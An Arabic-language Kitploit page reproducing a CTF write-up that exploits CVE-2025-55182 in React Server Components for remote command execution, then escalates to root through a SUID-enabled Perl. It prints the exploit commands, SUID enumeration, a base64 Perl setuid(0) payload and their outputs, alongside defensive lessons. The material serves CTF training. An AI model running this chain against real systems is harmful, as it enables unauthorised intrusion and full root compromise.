Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Explosive-As-Hell-MCS-Qualifer-Web-500 — [First-Blood-XO] نقطة نهاية مكون خادم React معرضة لـ CVE-2025-55182 (RCE) → تعداد ثنائيات SUID → /usr/bin/perl تم تعيين بت SUID عليها → استخدم دالة setuid(0) من Perl للارتقاء إلى صلاحيات root → قراءة /root/flag.txt | Kitploit
أدوات/GitHubGitHub/abdullahmaqbool22/explosive-as-hell-mcs-qualifer-web-500
تصعيد الامتيازاتالاستطلاعتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقالتعلم والتعليماستغلال الملفات الثنائية

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
مختبرات وتدريب عملي
GitHubabdullahmaqbool22/explosive-as-hell-mcs-qualifer-web-500

Explosive-As-Hell-MCS-Qualifer-Web-500

[First-Blood-XO] نقطة نهاية مكون خادم React معرضة لـ CVE-2025-55182 (RCE) → تعداد ثنائيات SUID → /usr/bin/perl تم تعيين بت SUID عليها → استخدم دالة setuid(0) من Perl للارتقاء إلى صلاحيات root → قراءة /root/flag.txt

عرض المستودع
منذ 4 أشهرلم تتم المراجعة بعد

CVE-2025-55182 — React Server Components RCE | شرح CTF

الفئة: استغلال الويب | الصعوبة: متوسط | الثغرة: تنفيذ الأوامر عن بُعد → تصعيد الصلاحيات عبر SUID


TL;DR

تم استغلال نقطة نهاية مكونات خادم React المعرضة لـ CVE-2025-55182 (RCE) → تعداد ثنائيات SUID → وجود SUID على /usr/bin/perl → استخدام دالة setuid(0) من Perl's POSIX لتصعيد الصلاحية إلى root → قراءة /root/flag.txt.

العلم: MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}


الخطوة 1 — الاستطلاع

الهدف: http://challenge.cybermesh.site:30035/

كان الهدف تطبيق ويب يعتمد على React ويستخدم مكونات خادم React (RSC) — وهي بنية جديدة نسبياً تنفذ المكونات على جانب الخادم وتدفق المخرجات المسلسلة إلى العميل عبر تنسيق مخصص.

تقدم هذه البنية حداً لتنفيذ الخادم. سوء معالجة المدخلات عند ذلك الحد هو بالضبط ما تستغله CVE-2025-55182.


الخطوة 2 — الثغرة: CVE-2025-55182

تنفيذ الأوامر عبر مكونات خادم React — يفشل الخادم في تعقيم المدخلات التي يتحكم فيها المستخدم قبل وصولها إلى طبقة تنفيذ المكونات على الخادم. يسمح هذا للمهاجم بحقن أوامر شل على مستوى نظام التشغيل تُنفذ في سياق عملية Node.js.

تدفق الهجوم:

  1. يقوم المهاجم بصياغة حمولة RSC خبيثة
  2. يقوم الخادم بإلغاء تسلسل الإدخال ويمرر القيم غير المعقمة إلى دالة مكون خادم
  3. ينفذ أمر نظام التشغيل، وتُدفق المخرجات مرة أخرى في استجابة RSC
  4. يقرأ المهاجم مخرجات الأمر من نص الاستجابة

الخطوة 3 — إعداد الاستغلال

يوجد PoC عام لهذه الثغرة:

root@kitploit:~
git clone https://github.com/surajhacx/react2shellpoc.git
cd react2shellpoc

التحقق الأولي — تأكيد RCE وسياق التنفيذ:

root@kitploit:~
python exploit.py -t http://challenge.cybermesh.site:30035/ -c "whoami"

الخرج:

root@kitploit:~
[+] EXPLOITATION SUCCESSFUL

  ► app

الخادم يعمل كمستخدم app. ليس root — إذن مطلوب تصعيد.


الخطوة 4 — تعداد ثنائيات SUID

البحث عن ثنائيات SUID:

root@kitploit:~
python exploit.py -t http://challenge.cybermesh.site:30035/ \
  -c "find /bin /usr/bin /sbin /usr/sbin -perm -4000 2>/dev/null || true"

الخرج:

root@kitploit:~
[+] EXPLOITATION SUCCESSFUL

  ► /usr/bin/gpasswd
  ► /usr/bin/perl       <--- !!!
  ► /usr/bin/chsh
  ► /usr/bin/su
  ► /usr/bin/chfn
  ► /usr/bin/umount
  ► /usr/bin/mount
  ► /usr/bin/passwd
  ► /usr/bin/newgrp

/usr/bin/perl عنده بت SUID مضبوطة. هذه من GTFOBins المعروفة — عندما يكون Perl مملوكاً لـ root و SUID، فإنه ينفذ بصلاحيات root بغض النظر عن المستخدم الذي يستدعيه.


الخطوة 5 — تصعيد الصلاحية عبر SUID Perl

تم إنشاء حمولة Perl مشفرة بـ base64 تقوم بـ:

  • ضبط PATH
  • استدعاء POSIX::setuid(0) للتصعيد إلى root
  • فتح وقراءة /root/flag.txt

تم إرسالها عبر نقطة نهاية RCE:

root@kitploit:~
python exploit.py \
  -t http://challenge.cybermesh.site:30035/ \
  -c "echo dXNlIFBPU0lYOyRFTlZ7UEFUSH09Jy9iaW46L3Vzci9iaW4nO3NldHVpZCgwKTtvcGVuKG15JHZkQzlmbGFnLCc8JywgJy9yb290L2ZsYWcudHh0Jyk7cHJpbnQgd2hpbGUoPCR2ZEM+KTs= | base64 -d > /tmp/p.pl && /usr/bin/perl /tmp/p.pl"

فك تشفير الحمولة تقريباً:

root@kitploit:~
use POSIX;
$ENV{PATH}='/bin:/usr/bin';
setuid(0);
open(my $vdC9flag,'<', '/root/flag.txt');
print while(<$vdC9flag>);

الخرج:

root@kitploit:~
[+] EXPLOITATION SUCCESSFUL

  ► MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}

العلم

root@kitploit:~
MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}

الدروس المستفادة

1. سطح الهجوم لـ RSC يتم الاستهانة به. مكونات خادم React هي نموذج جديد. العديد من النشرات لم يتم تحصينها ضد حقن المدخلات على حدود المكونات الخادمية. هذه الثغرة هي تذكير بأن "التصيير على الخادم" ليس آمناً بحد ذاته — لا يزال الحد التنفيذي يحتاج إلى تعقيم مناسب.

2. SUID على بيئات تشغيل السكربتات = root فوري. /usr/bin/perl مع SUID هو خطأ تكوين نموذجي. يغطيه GTFOBins بالتفصيل. لا تقم أبداً بتعيين بت SUID على لغات السكربتات (Perl, Python, Ruby, إلخ) — على عكس الثنائيات المترجمة المصممة لـ SUID (su, passwd)، توفر هذه البيئات مسارات تصعيد بسيطة.

3. العلم واعي بذاته. SU1D_AR3_FUN_BUT_N0T_EVERYTIM3 — التحدي صُمم صراحةً حول SUID Perl كمسار التصعيد المقصود. سلسلة نظيفة.


ملخص سلسلة الهجوم

root@kitploit:~
CVE-2025-55182 (RSC RCE)
    └─> whoami → المستخدم "app"
    └─> إيجاد ثنائيات SUID
    └─> تحديد /usr/bin/perl (SUID root)
    └─> حمولة Perl base64 → كتابة إلى /tmp/p.pl
    └─> perl SUID /tmp/p.pl → setuid(0) → cat /root/flag.txt
    └─> العلم ✓

المراجع

  • github.com/surajhacx/react2shellpoc
  • GTFOBins — perl SUID
  • NVD — CVE-2025-55182

كتبه عبد الله مقبول — مهندس اختبار الاختراق @ TISS | CRTA · CRTOM · CompTIA PenTest+

تنزيل الأداة